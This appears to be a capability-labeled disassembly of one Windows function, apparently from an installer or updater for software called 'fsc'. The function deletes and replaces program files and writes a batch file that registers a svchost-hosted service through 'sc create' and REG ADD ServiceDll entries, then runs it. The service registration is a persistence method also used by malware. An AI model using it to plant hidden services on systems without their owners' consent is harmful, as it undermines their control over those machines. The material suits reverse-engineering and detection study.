Function at 0x404b9a
Capabilities:
Create process on windows
Delete file
Enumerate files on windows
Persist via windows service
Set current directory
Set file attributes
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x524218
mov eax, dword fs:[0]
push eax
sub esp, 0x808
mov eax, dword [0x570470]
xor eax, esp
mov dword [esp + 0x800], eax
push ebx
push esi
push edi
mov eax, dword [0x570470]
xor eax, esp
push eax
lea eax, [esp + 0x818]
mov dword fs:[0], eax
push 9
mov ebx, ecx
pop ecx
xor eax, eax
push 0x20005
lea edi, [esp + 0x74]
rep stosd dword es:[edi], eax
xor edi, edi
push 0x55094c
push edi
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x3c], edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [esp + 0x2c], eax
cmp eax, edi
je 0x404c1e
push 4
push 0x5510ec
lea esi, [esp + 0x34]
call fcn.004032a0
mov esi, eax
jmp 0x404c20
xor esi, esi
cmp esi, edi
je 0x404c35
lea eax, [esp + 0x70]
push eax
lea eax, [esp + 0x30]
push eax
call fcn.00403398
mov esi, eax
lea eax, [esp + 0x2c]
call fcn.00403280
cmp esi, edi
je 0x404c75
cmp dword [esp + 0x74], edi
je 0x404c75
push str.ck_W_Rd
push 0x3ed
mov ecx, ebx
call fcn.0040dbc9
cmp dword [esp + 0x74], 1
je 0x404c65
call fcn.00403502
call fcn.00403441
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004108e7
push eax
lea ecx, [esp + 0x18]
call fcn.004037e2
xor eax, eax
mov dword [esp + 0x820], edi
push 0x208
mov word [esp + 0x2e8], ax
lea eax, [esp + 0x2ea]
push edi
push eax
call fcn.004fd710
add esp, 0xc
lea eax, [esp + 0x2e4]
push eax
push edi
call fcn.00406790
lea eax, [esp + 0x2ec]
push eax
lea eax, [esp + 0x20]
push 0x55112c
push eax
call fcn.00403a27
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
add esp, 0x14
mov ebx, 0x80
push ebx
push dword [esp + 0x18]
call edi
push dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call esi
lea eax, [esp + 0x2e4]
push eax
push 7
call fcn.00406790
lea eax, [esp + 0x2ec]
push eax
lea eax, [esp + 0x20]
push str._s.lnk
push eax
call fcn.00403a27
add esp, 0x14
push ebx
push dword [esp + 0x18]
call edi
push dword [esp + 0x14]
call esi
lea eax, [esp + 0x2e4]
push eax
push 0x25
call fcn.00406790
lea eax, [esp + 0x2ec]
push eax
lea eax, [esp + 0x20]
push 0x55117c
push eax
call fcn.00403a27
add esp, 0x14
push ebx
push dword [esp + 0x18]
call edi
push dword [esp + 0x14]
call esi
lea eax, [esp + 0x2e4]
push eax
lea eax, [esp + 0x18]
push str._s_fsc.exe
push eax
call fcn.00403a27
add esp, 0xc
push ebx
push dword [esp + 0x18]
call edi
push dword [esp + 0x14]
call esi
lea eax, [esp + 0x2e4]
push eax
push str._s_fscsvc.dll
lea eax, [esp + 0x1c]
push eax
call fcn.00403a27
add esp, 0xc
push ebx
push dword [esp + 0x18]
call edi
push dword [esp + 0x14]
call esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x2e4]
push eax
push 0x1a
call fcn.00406790
lea eax, [esp + 0x2ec]
push eax
lea eax, [esp + 0x20]
push str._s_fsclauncher.exe
push eax
call fcn.00403a27
add esp, 0x14
push ebx
push dword [esp + 0x18]
call edi
push dword [esp + 0x14]
call esi
lea eax, [esp + 0x2e4]
push eax
lea eax, [esp + 0x18]
push str._s_fsc_fsc.exe
push eax
call fcn.00403a27
add esp, 0xc
push ebx
push dword [esp + 0x18]
call edi
push dword [esp + 0x14]
call esi
lea eax, [esp + 0x2e4]
push eax
lea eax, [esp + 0x18]
push str._s_fsc_fscsvc.dll
push eax
call fcn.00403a27
add esp, 0xc
push ebx
push dword [esp + 0x18]
call edi
push dword [esp + 0x14]
call esi
lea eax, [esp + 0x2e4]
push eax
lea eax, [esp + 0x18]
push str._s_fsc_fshk.dll
push eax
call fcn.00403a27
add esp, 0xc
push ebx
push dword [esp + 0x18]
call edi
push dword [esp + 0x14]
call esi
lea eax, [esp + 0x2e4]
push eax
lea eax, [esp + 0x18]
push str._s_fsc_fsf.sys
push eax
call fcn.00403a27
add esp, 0xc
push ebx
push dword [esp + 0x18]
call edi
push dword [esp + 0x14]
call esi
lea eax, [esp + 0x2e4]
push eax
lea eax, [esp + 0x18]
push str._s_fsc_fsf.inf
push eax
call fcn.00403a27
add esp, 0xc
push ebx
push dword [esp + 0x18]
call edi
push dword [esp + 0x14]
call esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x20]
add eax, 0xc4
push str.upg
push eax
mov dword [esp + 0x24], eax
lea eax, [esp + 0x2c]
push eax
call fcn.004062f9
mov eax, dword [eax]
add esp, 0xc
lea ecx, [esp + 0x94]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ecx, dword [esp + 0x24]
add ecx, 0xfffffff0
mov dword [esp + 0x18], eax
call fcn.00403847
cmp dword [esp + 0x18], 0xffffffff
je 0x404f56
test dword [esp + 0x94], 0x10
jne 0x404f36
lea eax, [esp + 0xc0]
push eax
mov eax, dword [esp + 0x20]
push dword [eax]
lea eax, [esp + 0x1c]
push str._supg_s
push eax
call fcn.00403a27
add esp, 0x10
push ebx
push dword [esp + 0x18]
call edi
push dword [esp + 0x14]
call esi
lea eax, [esp + 0x94]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404efc
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindClose]
call fcn.00406757
mov edi, 0x5512c0
push edi
test eax, eax
je 0x405173
call fcn.004065ef
pop ecx
push eax
push edi
lea ecx, [esp + 0x1c]
call fcn.0040657e
lea eax, [esp + 0x14]
push eax
mov edi, str.ck_W_rY6R
lea eax, [esp + 0x1c]
push edi
push eax
call fcn.004061d7
add esp, 0xc
mov ecx, dword [esp + 0x20]
mov byte [esp + 0x820], 1
push dword [eax]
mov ebx, 0x3ed
push ebx
call fcn.0040dbc9
mov byte [esp + 0x820], 0
mov ecx, dword [esp + 0x18]
add ecx, 0xfffffff0
call fcn.00403847
mov eax, dword [esp + 0x1c]
push dword [esp + 0x14]
mov eax, dword [eax]
push eax
push 0x85
call fcn.004067ce
add esp, 0xc
test eax, eax
je 0x405882
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x5512ec
call fcn.004065ef
pop ecx
push eax
push 0x5512ec
lea ecx, [esp + 0x1c]
call fcn.0040657e
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
push edi
push eax
call fcn.004061d7
add esp, 0xc
mov ecx, dword [esp + 0x20]
mov byte [esp + 0x820], 2
push dword [eax]
push ebx
call fcn.0040dbc9
mov byte [esp + 0x820], 0
mov ecx, dword [esp + 0x18]
add ecx, 0xfffffff0
call fcn.00403847
mov eax, dword [esp + 0x1c]
push dword [esp + 0x14]
mov eax, dword [eax]
push eax
push 0x87
call fcn.004067ce
add esp, 0xc
test eax, eax
je 0x405882
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x551304
call fcn.004065ef
pop ecx
push eax
push 0x551304
lea ecx, [esp + 0x1c]
call fcn.0040657e
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
push edi
push eax
call fcn.004061d7
add esp, 0xc
mov ecx, dword [esp + 0x20]
mov byte [esp + 0x820], 3
push dword [eax]
push ebx
call fcn.0040dbc9
mov byte [esp + 0x820], 0
mov ecx, dword [esp + 0x18]
add ecx, 0xfffffff0
call fcn.00403847
mov eax, dword [esp + 0x1c]
push dword [esp + 0x14]
mov eax, dword [eax]
push eax
push 0x89
call fcn.004067ce
add esp, 0xc
test eax, eax
je 0x405882
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x551318
call fcn.004065ef
pop ecx
push eax
push 0x551318
lea ecx, [esp + 0x1c]
call fcn.0040657e
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
push edi
push eax
call fcn.004061d7
add esp, 0xc
mov ecx, dword [esp + 0x20]
mov byte [esp + 0x820], 4
push dword [eax]
push ebx
call fcn.0040dbc9
mov byte [esp + 0x820], 0
mov ecx, dword [esp + 0x18]
add ecx, 0xfffffff0
call fcn.00403847
call fcn.00403dad
mov ecx, dword [esp + 0x1c]
push dword [esp + 0x14]
mov ecx, dword [ecx]
movzx eax, al
neg eax
sbb eax, eax
and eax, 0xfffffffb
add eax, 0x92
push ecx
push eax
call fcn.004067ce
add esp, 0xc
test eax, eax
je 0x405882
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40537e
call fcn.004065ef
pop ecx
push eax
push edi
lea ecx, [esp + 0x1c]
call fcn.0040657e
lea eax, [esp + 0x14]
push eax
mov edi, str.ck_W_rY6R
lea eax, [esp + 0x1c]
push edi
push eax
call fcn.004061d7
add esp, 0xc
mov ecx, dword [esp + 0x20]
mov byte [esp + 0x820], 5
push dword [eax]
push 0x3ed
call fcn.0040dbc9
mov byte [esp + 0x820], 0
mov ecx, dword [esp + 0x18]
add ecx, 0xfffffff0
call fcn.00403847
mov eax, dword [esp + 0x1c]
push dword [esp + 0x14]
mov eax, dword [eax]
push eax
push 0x84
call fcn.004067ce
add esp, 0xc
test eax, eax
je 0x40587d
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call ebx
push 0x5512ec
call fcn.004065ef
pop ecx
push eax
push 0x5512ec
lea ecx, [esp + 0x1c]
call fcn.0040657e
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
push edi
push eax
call fcn.004061d7
add esp, 0xc
mov ecx, dword [esp + 0x20]
mov byte [esp + 0x820], 6
push dword [eax]
push 0x3ed
call fcn.0040dbc9
mov byte [esp + 0x820], 0
mov ecx, dword [esp + 0x18]
add ecx, 0xfffffff0
call fcn.00403847
mov eax, dword [esp + 0x1c]
push dword [esp + 0x14]
mov eax, dword [eax]
push eax
push 0x86
call fcn.004067ce
add esp, 0xc
test eax, eax
je 0x40587d
push 0xa
call ebx
push 0x551304
call fcn.004065ef
pop ecx
push eax
push 0x551304
lea ecx, [esp + 0x1c]
call fcn.0040657e
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
push edi
push eax
call fcn.004061d7
add esp, 0xc
mov ecx, dword [esp + 0x20]
mov byte [esp + 0x820], 7
push dword [eax]
push 0x3ed
call fcn.0040dbc9
mov byte [esp + 0x820], 0
mov ecx, dword [esp + 0x18]
add ecx, 0xfffffff0
call fcn.00403847
mov eax, dword [esp + 0x1c]
push dword [esp + 0x14]
mov eax, dword [eax]
push eax
push 0x88
call fcn.004067ce
add esp, 0xc
test eax, eax
je 0x40587d
push 0xa
call ebx
push 0x551318
call fcn.004065ef
pop ecx
push eax
push 0x551318
lea ecx, [esp + 0x1c]
call fcn.0040657e
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
push edi
push eax
call fcn.004061d7
add esp, 0xc
mov ecx, dword [esp + 0x20]
mov byte [esp + 0x820], 8
push dword [eax]
push 0x3ed
call fcn.0040dbc9
mov byte [esp + 0x820], 0
mov ecx, dword [esp + 0x18]
add ecx, 0xfffffff0
call fcn.00403847
call fcn.00403dad
mov ecx, dword [esp + 0x1c]
push dword [esp + 0x14]
mov ecx, dword [ecx]
movzx eax, al
neg eax
sbb eax, eax
and eax, 0xfffffffb
add eax, 0x91
push ecx
push eax
call fcn.004067ce
add esp, 0xc
test eax, eax
je 0x40587d
push 0xa
call ebx
mov ebx, 0x3ed
push 0x551328
call fcn.004065ef
pop ecx
push eax
push 0x551328
lea ecx, [esp + 0x1c]
call fcn.0040657e
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
push edi
push eax
call fcn.004061d7
add esp, 0xc
mov ecx, dword [esp + 0x20]
mov byte [esp + 0x820], 9
push dword [eax]
push ebx
call fcn.0040dbc9
mov byte [esp + 0x820], 0
mov ecx, dword [esp + 0x18]
add ecx, 0xfffffff0
call fcn.00403847
mov eax, dword [esp + 0x1c]
push dword [esp + 0x14]
mov eax, dword [eax]
push eax
push 0x8b
call fcn.004067ce
add esp, 0xc
test eax, eax
je 0x405882
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.launcher.exe
call fcn.004065ef
pop ecx
push eax
push str.launcher.exe
lea ecx, [esp + 0x1c]
call fcn.0040657e
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
push edi
push eax
call fcn.004061d7
add esp, 0xc
mov ecx, dword [esp + 0x20]
mov byte [esp + 0x820], 0xa
push dword [eax]
push ebx
call fcn.0040dbc9
mov byte [esp + 0x820], 0
mov ecx, dword [esp + 0x18]
add ecx, 0xfffffff0
call fcn.00403847
mov eax, dword [esp + 0x1c]
push dword [esp + 0x14]
mov eax, dword [eax]
push eax
push 0x8a
call fcn.004067ce
add esp, 0xc
test eax, eax
je 0x405882
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004108e7
push eax
lea ecx, [esp + 0x1c]
call fcn.004037e2
push 0x8e
push 0
lea ecx, [esp + 0x20]
mov byte [esp + 0x828], 0xb
call fcn.00405a9a
mov eax, dword [esp + 0x18]
mov edi, dword [eax - 0xc]
push edi
lea ecx, [esp + 0x1c]
call fcn.00405d83
lea ecx, [edi + 1]
push ecx
push eax
call fcn.004fca2a
push eax
call fcn.0040640c
add esp, 0xc
test edi, edi
js 0x4058be
mov eax, dword [esp + 0x18]
cmp edi, dword [eax - 8]
jg 0x4058be
mov dword [eax - 0xc], edi
mov byte [edi + eax], 0
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x1c]
call fcn.00405a77
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x824], 0xc
call fcn.00405af3
mov byte [esp + 0x820], 0xb
mov ecx, dword [esp + 0x24]
add ecx, 0xfffffff0
call fcn.00403847
lea edi, [esp + 0x18]
call fcn.00405a14
mov eax, dword [esp + 0x1c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov eax, dword [esp + 0x18]
xor edi, edi
cmp dword [eax - 0xc], edi
je 0x405547
call fcn.00403d6c
mov edx, dword [esp + 0x18]
mov ecx, dword [0x5789dc]
call fcn.0040190b
mov eax, dword [esp + 0x1c]
push dword [eax]
lea eax, [esp + 0x2e8]
push 0x55117c
push 0x104
push eax
call fcn.00406018
mov ecx, dword [esp + 0x30]
add esp, 0x10
cmp dword [ecx + 0xbc], edi
je 0x405599
push 0x551370
push ebx
call fcn.0040dbc9
lea ebx, [esp + 0x2e4]
call fcn.00406b8a
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 0x3ed
xor edi, edi
mov ecx, dword [esp + 0x20]
cmp dword [ecx + 0xc0], edi
je 0x4055c6
push str.ck_WeR
push ebx
call fcn.0040dbc9
lea eax, [esp + 0x2e4]
push eax
call fcn.00406c83
pop ecx
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x20]
push 0x5513d4
push ebx
call fcn.0040dbc9
xor eax, eax
push 0x208
mov word [esp + 0x4f8], ax
lea eax, [esp + 0x4fa]
push edi
push eax
mov dword [esp + 0x34], edi
call fcn.004fd710
mov eax, dword [esp + 0x28]
add esp, 0xc
push dword [eax]
lea eax, [esp + 0x4f8]
push str._s_svc.bat
push 0x104
push eax
call fcn.00406018
push 0x5513fc
lea eax, [esp + 0x508]
push eax
lea eax, [esp + 0x40]
push eax
call fcn.004fbb8a
add esp, 0x1c
cmp dword [esp + 0x28], edi
je 0x405827
call fcn.004108e7
push eax
lea ecx, [esp + 0x28]
call fcn.004037e2
push 0x551404
lea ecx, [esp + 0x28]
mov byte [esp + 0x824], 0xd
call fcn.00405c19
test al, al
jne 0x405673
push 0x34
push 0x551404
lea ecx, [esp + 0x2c]
call fcn.00405d09
lea eax, [esp + 0x24]
push eax
mov ecx, str.sc_delete_fsc_r_n
mov byte [esp + 0x824], 0xe
call fcn.00405c74
lea eax, [esp + 0x24]
push eax
mov ecx, str.sc_create_fsc_binPath___SystemRoot__system32_svchost.exe__k_FscSvc__type_share_start_auto_depend__RpcSs__DisplayName__FSC_Service__r_n
call fcn.00405c74
lea eax, [esp + 0x24]
push eax
mov ecx, str.REG_ADD_HKLMSystemCurrentControlSetServices_fscParameters__f_r_n
call fcn.00405c74
lea eax, [esp + 0x24]
push eax
mov ecx, str.REG_ADD_HKLMSystemCurrentControlSetServices_fscParameters__f__v_ServiceDll__t_REG_EXPAND_SZ__d
call fcn.00405c74
push 0x55158c
push edi
call fcn.004fc69e
mov eax, dword [esp + 0x24]
mov eax, dword [eax]
push 0xffffffffffffffff
push eax
push 0x105
lea eax, [esp + 0x718]
push eax
push edi
call fcn.004fce4d
add esp, 0x1c
push 0x550ebc
push edi
call fcn.004fc69e
lea eax, [esp + 0x70c]
push eax
lea eax, [esp + 0x30]
push str.__s_fscsvc.dll__r_n
push eax
call fcn.00405fae
add esp, 0x14
lea eax, [esp + 0x24]
push eax
mov ecx, str.REG_ADD__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersionSvchost___f__v_FscSvc__t_REG_MULTI_SZ__d_fsc_r_n
call fcn.00405c74
mov eax, dword [esp + 0x24]
cmp dword [eax - 4], 1
mov ecx, dword [eax - 0xc]
mov dword [esp + 0x1c], ecx
jle 0x405734
push ecx
lea ecx, [esp + 0x28]
call fcn.00405b43
mov eax, dword [esp + 0x24]
push dword [esp + 0x28]
push 1
push dword [esp + 0x24]
push eax
call fcn.004fafd4
push dword [esp + 0x38]
call fcn.004fb10c
add esp, 0x14
call fcn.00406757
mov dword [esp + 0x2c], eax
cmp eax, edi
je 0x405783
push 0x551930
push str.kernel32
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, edi
je 0x405783
lea ecx, [esp + 0x1c]
push ecx
call eax
push 0x38
lea eax, [esp + 0x3c]
push edi
push eax
call fcn.004fd710
lea eax, [esp + 0x500]
mov dword [esp + 0x50], eax
add esp, 0xc
lea eax, [esp + 0x34]
push eax
mov dword [esp + 0x38], 0x3c
mov dword [esp + 0x3c], 0x40
mov dword [esp + 0x40], edi
mov dword [esp + 0x44], 0x551614
mov dword [esp + 0x4c], 0x551888
mov dword [esp + 0x50], edi
mov dword [esp + 0x58], edi
mov dword [esp + 0x54], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push 0xffffffffffffffff
push dword [esp + 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [esp + 0x2c], edi
je 0x405809
push 0x551950
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, edi
je 0x405809
push edi
call eax
lea eax, [esp + 0x4f4]
push eax
call esi
mov byte [esp + 0x820], 0xb
mov ecx, dword [esp + 0x24]
add ecx, 0xfffffff0
call fcn.00403847
mov ecx, dword [esp + 0x20]
push 0x551620
push ebx
call fcn.0040dbc9
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x18]
add ecx, 0xfffffff0
call fcn.00403847
mov ecx, dword [esp + 0x14]
add ecx, 0xfffffff0
call fcn.00403847
xor eax, eax
inc eax
mov ecx, dword [esp + 0x818]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x800]
xor ecx, esp
call fcn.004fa527
mov esp, ebp
pop ebp
ret
mov ebx, 0x3ed
mov esi, dword [esp + 0x20]
add esi, 0x178
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [esp + 0x14]
push eax
push edi
push 0x551354
push esi
call fcn.00403a27
mov ecx, dword [esp + 0x30]
add esp, 0x10
push dword [esi]
push ebx
call fcn.0040dbc9
lea ecx, [edi - 0x10]
call fcn.00403847
xor eax, eax
jmp 0x405859
push 0x80070057
call fcn.00403988
int3